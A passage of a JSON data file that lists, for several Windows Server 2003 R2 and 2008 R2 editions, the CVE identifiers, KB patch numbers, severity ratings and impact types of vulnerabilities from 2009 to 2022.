Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"","impact":"Windows Library Loading"},{"cve":"CVE-2016-0040","kb":"3126434","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197874","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041693","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054519","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022726","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025336","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038792","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8684","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0824","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074594","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0833","kb":"4074594","severity":"Moderate","impact":"Denial of Service"},{"cve":"CVE-2018-0886","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093114","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462926","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467697","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103725","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487000","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493446","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534297","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537821","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571703","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003209","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003209","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003671","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005613","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014738","severity":"Important","impact":"Remote Code Execution"}],"Windows Server 2003 R2 Service Pack 2":[{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2003 R2 x64 Edition Service Pack 2":[{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 R2 for Itanium-Based Systems":[{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1":[{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2898857","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6130","kb":"3108670","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108371","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126587","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3237","kb":"3185330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-7255","kb":"3197868","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012215","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012215","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012215","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012215","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0148","kb":"4012215","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015549","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041681","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054518","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022719","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025341","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038777","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093118","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103718","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462923","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467107","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499164","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493472","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530734","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534310","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 R2 for Itanium-based Systems Service Pack 1":[{"cve":"CVE-2016-7255","kb":"3197867","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 R2 for x64-based Systems":[{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 R2 for x64-based Systems (Server Core installation)":[{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416471","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2506212","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518867","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code 